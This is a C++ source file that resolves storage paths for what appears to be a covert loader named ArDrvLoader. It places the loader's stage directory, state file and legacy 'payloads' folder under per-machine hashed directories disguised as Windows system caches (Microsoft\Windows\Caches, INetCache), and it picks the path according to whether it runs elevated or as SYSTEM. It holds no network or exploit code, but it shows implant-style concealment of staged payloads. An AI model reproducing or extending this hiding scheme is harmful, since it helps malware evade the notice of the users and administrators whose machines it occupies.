#include "Common.h" #include "Paths.h" #include static std::wstring ProgramDataDir() { wchar_t buf[MAX_PATH]{}; DWORD n = GetEnvironmentVariableW(L"ProgramData", buf, _countof(buf)); if (n > 0 && n < _countof(buf)) return buf; return L"C:\\ProgramData"; } static std::wstring MachineGuid() { HKEY key = nullptr; std::wstring out; if (RegOpenKeyExW( HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Cryptography", 0, KEY_READ | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS) { wchar_t buf[128]{}; DWORD size = sizeof(buf); DWORD type = 0; if (RegQueryValueExW(key, L"MachineGuid", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS && type == REG_SZ) { out = buf; } RegCloseKey(key); } if (out.empty()) { // Fall back to the volume serial so the path is still per-machine. DWORD serial = 0; if (!GetVolumeInformationW(L"C:\\", nullptr, 0, &serial, nullptr, nullptr, nullptr, 0)) serial = 0x12345678; wchar_t hex[16]{}; swprintf_s(hex, L"%08lx", serial); out = hex; } return out; } // FNV-1a over the machine GUID: 8 hex chars, stable on this host only. static std::wstring MachineTag() { const std::wstring guid = MachineGuid(); unsigned int hash = 2166136261u; for (wchar_t c : guid) { hash ^= (unsigned int)(c & 0xFF); hash *= 16777619u; hash ^= (unsigned int)((c >> 8) & 0xFF); hash *= 16777619u; } wchar_t out[16]{}; swprintf_s(out, L"%08x", hash); return out; } static std::wstring LocalAppDataDir() { wchar_t buf[MAX_PATH]{}; DWORD n = GetEnvironmentVariableW(L"LOCALAPPDATA", buf, _countof(buf)); if (n > 0 && n < _countof(buf)) return buf; return ProgramDataDir(); } static bool RunningElevatedOrSystem() { HANDLE token = nullptr; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) return false; TOKEN_ELEVATION elevation{}; DWORD len = sizeof(elevation); bool elevated = false; if (GetTokenInformation(token, TokenElevation, &elevation, len, &len)) elevated = elevation.TokenIsElevated != 0; if (!elevated) { // SYSTEM is never "elevated" in the UAC sense but is fully privileged. DWORD needed = 0; GetTokenInformation(token, TokenUser, nullptr, 0, &needed); if (needed > 0) { std::vector buf(needed); PTOKEN_USER tu = reinterpret_cast(buf.data()); if (GetTokenInformation(token, TokenUser, tu, needed, &needed)) { LPWSTR sid = nullptr; if (ConvertSidToStringSidW(tu->User.Sid, &sid)) { elevated = wcscmp(sid, L"S-1-5-18") == 0; LocalFree(sid); } } } } CloseHandle(token); return elevated; } std::wstring ArdrvRoot() { wchar_t override[MAX_PATH]{}; DWORD n = GetEnvironmentVariableW(L"ARDRV_ROOT", override, _countof(override)); if (n > 0 && n < _countof(override)) { std::wstring root = override; EnsureDirExists(root); return root; } const std::wstring tag = MachineTag(); const bool elevated = RunningElevatedOrSystem(); // Machine-wide deep path for services and elevated runs. std::wstring machine = ProgramDataDir() + L"\\Microsoft\\Windows\\Caches\\" + tag; // Per-user deep path for an agent running as the interactive user. std::wstring user = LocalAppDataDir() + L"\\Microsoft\\Windows\\INetCache\\" + tag; std::wstring preferred = elevated ? machine : user; std::wstring alternate = elevated ? user : machine; EnsureDirExists(preferred); if (GetFileAttributesW(preferred.c_str()) != INVALID_FILE_ATTRIBUTES) return preferred; EnsureDirExists(alternate); if (GetFileAttributesW(alternate.c_str()) != INVALID_FILE_ATTRIBUTES) return alternate; std::wstring flat = ProgramDataDir() + L"\\ArDrvLoader"; EnsureDirExists(flat); return flat; } void EnsureDirExists(const std::wstring& path) { if (path.empty()) return; std::wstring partial; for (size_t i = 0; i < path.size(); ++i) { partial += path[i]; if (path[i] == L'\\' || i + 1 == path.size()) { if (partial.size() > 3) CreateDirectoryW(partial.c_str(), nullptr); } } } std::wstring ArdrvServiceDir(const std::wstring& serviceName) { std::wstring dir = ArdrvRoot(); dir += L"\\"; dir += serviceName; EnsureDirExists(dir); return dir; } std::wstring ArdrvStageDir() { std::wstring dir = ArdrvRoot(); dir += L"\\stage"; EnsureDirExists(dir); return dir; } std::wstring ArdrvStatePath() { std::wstring path = ArdrvRoot(); path += L"\\state.dat"; return path; } std::wstring ArdrvLegacyStageDir() { return ProgramDataDir() + L"\\ArDrvLoader\\payloads"; } std::wstring ArdrvLegacyStatePath() { return ProgramDataDir() + L"\\ArDrvLoader\\host.track"; }